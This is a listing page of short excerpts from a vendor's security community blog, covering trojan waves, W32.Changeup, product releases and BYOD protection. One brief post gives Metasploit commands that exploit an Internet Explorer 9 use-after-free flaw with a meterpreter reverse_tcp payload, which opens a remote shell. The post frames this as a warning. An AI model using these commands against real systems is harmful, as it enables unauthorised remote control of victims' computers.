Security Community Blog

The Security Community Blog is the perfect place to share short, timely insights including product tips, news and other information relevant to the Security community. Any authenticated Connect member can contribute to this blog.

  • 0
    Updated: Brandon Noble 28 Aug 2012

    New Trojan.Shylock wave

    We have been seeing a recent wave of Trojan.Shylock variants with a lot of additional functionality than the older versions we have been used to. Initially, many of these variants are detected generically as Backdoor.Trojan or Trojan Horse, but our new Shylock heuristic signatures (Trojan.Shylock!gen6 and Trojan.Shylock!gen7) should be changing this to a more accurate naming convention, and should be picking up a much wider spread of these threats. Additionally we are hearing about some behavior that we have not been able to reproduce. Reports are saying that legitimate documents are getting hidden and then shortcuts with the same name of the document are being added in their place. These shortcuts actually launch a thumbs.db(x) file which is the Shylock Trojan, and they are meant to trick the user into running the threat. This is common behavior of for threats, as noted in this blog article from May 2012,...
  • 0
    Updated: Duncan Mills 04 Apr 2013

    Using Symantec Protection Suite Enterprise Edition (SPS EE) to protect user-owned tablets and smartphones from Internet threats

    The increased use in the workplace of user-owned devices such as smartphones and tablets, often referred to as bring your own device (BYOD), provides businesses with significant productivity and cost benefits. However, it also presents a number of complex challenges related to security. Due to the rise of smart media devices like smartphones, tablets and ultrabooks, it is estimated that potentially, as many as 30-35%* of endpoints connected to a company’s network could be unmanaged. These are more at risk than managed endpoints which are typically subject to software patching and endpoint security policies. Of course unmanaged endpoints are still protected by your perimeter security, such as secure web gateways. However, these have typically evolved from caching proxies and URL filters. What you need is an additional layer of security that provides the best possible levels of protection for unmanaged endpoints. Symantec Web Gateway (SWG) will...
  • 0
    Created: SebastianZ 02 Feb 2013

    Symantec Security Products Data Sheets

    A small compilation from the Symantec Portfolio including Data Sheets of several Symantec Security Products.   - Symantec™ Endpoint Protection 12.1.2 (10/12) http://www.symantec.com/endpoint-protection/data-s... - Symantec Endpoint Protection Small Business Edition 2013 (11/12) http://www.symantec.com/endpoint-protection-small-... - Symantec™ Protection Suite Enterprise Edition - Comprehensive, powerful endpoint, messaging, and Web protection, for less money (06/11)...
  • 0
    Updated: piero_depaoli 10 Jan 2013

    Better than Free: With 83% Faster Scanning, Symantec Endpoint Protection 12 Makes Windows 8 Great

    Microsoft gets it. Today, it makes no sense to release an operating system, especially a game-changer like Windows 8, without some form of basic antivirus protection. That’s why Windows 8 comes preloaded with a default form of protection, Windows Defender, that automatically kicks in when the system does not boot up with installed third-party protection.   If you get Defender for free with Windows 8, is there any point to getting any further protection? Yes -- at least 83 to begin with…   The numbers tell a compelling performance story In side-by-side tests conducted by PassMark, an independent laboratory, Windows 8 with Symantec Endpoint Protection 12 consistently outperformed Windows 8 without it (with Defender as its default). Consider the highlights:   83% faster scanning: End users spend more time working, less time managing interruptions. ...
  • 0
    Created: pauldchavez 03 Dec 2012

    Symantec Mail Security for Microsoft Exchange 7.0 achieves GA, Monday Dec. 3 2012

    Symantec would like to announce the general availability of Symantec Mail Security for Microsoft Exchange v7.0 (SMSMSE 7.0). Microsoft Exchange continues to be the leading application used for business communication across email and organizations must protect this environment from email-born threats and the loss of sensitive data. Symantec Mail Security for Microsoft Exchange v7.0 fully supports the latest Microsoft Exchange versions to maximize protection. Summary of New Features: • Support for Microsoft Exchange 2013 and Microsoft®Hosted Exchange environments • Out-of-the-box content filtering templates for protection against data loss • Improved anti-malware and anti-spam effectiveness through advanced heuristics • Improved manageability with full message quarantine • Up to 30 percent performance improvement for mailbox scanning • Microsoft® Systems Center Operation Manager 2007 R2 support for...
  • 12
    Updated: Brandon Noble 17 May 2013

    W32.Changeup keeps on giving

    I. BACKGROUND: In mid-2009, W32.Changeup, was first discovered on systems around the world. Over the last few years, Symantec Security Response has profiled this threat, explained why it spreads, and shown how it was created.  Since November 2012 we have seen weekly spikes the number of W32.Changeup detections and infections. The increase in detections is a result of a renewed W32.Changeup campaign now active and in-the-wild.   II. THREAT DETAILS: When a system is compromised, W32.Changeup may install additional malware. These secondary threats have the ability to download even...
  • 0
    Updated: James Hanlon 07 Dec 2012

    State of Cyber security

    Cyberspace presents an incredible amount of opportunity for today’s organisations. Connectivity, innovation, productivity and collaboration are just some of the benefits on offer. However, cyberspace presents equally significant risks. Those risks can have huge impact and visibility; it seems that a week cannot go by without another cyber incident being splashed across internet feeds, newspapers and websites. This visibility means that cyber risks have the attention of the executive management of every organisation. Cyber risks include targeted attacks, advanced persistent threats, data loss, denial-of-service attacks, hackitivism, negligent and malicious insiders, reputational damage, cyber espionage and nation state threats. In 2011, Symantec blocked over 5.5 billion malware attacks, an 81% increase over the previous year, witnessed a 36% increased in web based attacks and an increased focus and intensity of advanced persistent...
  • 0
    Created: Pritesh J. Chauhan 11 Oct 2012

    Maintaining Systems

      Over the last few weeks we have been working with a number of customers who have large administrative overheads when protecting their IT Infrastructure.   When selecting a new service they have either gone to tender or bought an off the shelf solution upon recommendation from colleagues/friends.    Whilst this may seem great at first, over the years this has built up a number of systems each requiring their own management systems, portals, update systems and most importantly, they lack integration between solutions. Whilst this may seem like a large problem, it gets worse - the issue with these customers was that they had multiple products performing conflicting tasks.    One example from a customer who had one product that is designed to AV scan contents of a USB pen drive upon connection to the machine. Another product to encrypt USB pen drives upon connection. This is great if the admin could...
  • 0
    Created: Fabiano.Pessoa 27 Sep 2012

    Vulnerability

    Hello We got a discovered vulnerability in IE 9 on 17/09/2012 which can be exploited as following command in Backtrack 5 R2 Metasploit: - msfupdate - Use exploit / windows / browser / ie_execcommand_uaf - Set SRVHOST 192,168 ... - Set PAYLOAD windows / Meterpreter / reverse_tcp - Set LHOST 192,168 ... - exploit Let's beware the networking. hugs
  • 0
    Created: Brandon Noble 11 Sep 2012

    Common Reference and Research Pages for Security Response

    As a Security Response Liaison, I’m often asked for links to specific information that's available on our public website. Here is a simple list of the more common pages I use for reference.   File-Based Protection (Traditional Antivirus) – more info Certified Definitions – Download via Http Detailed info on what detections have been added - Detections Added (Certified) Rapid Release Definitions - Download via Http or Download via FTP Detailed info on what detections have been added...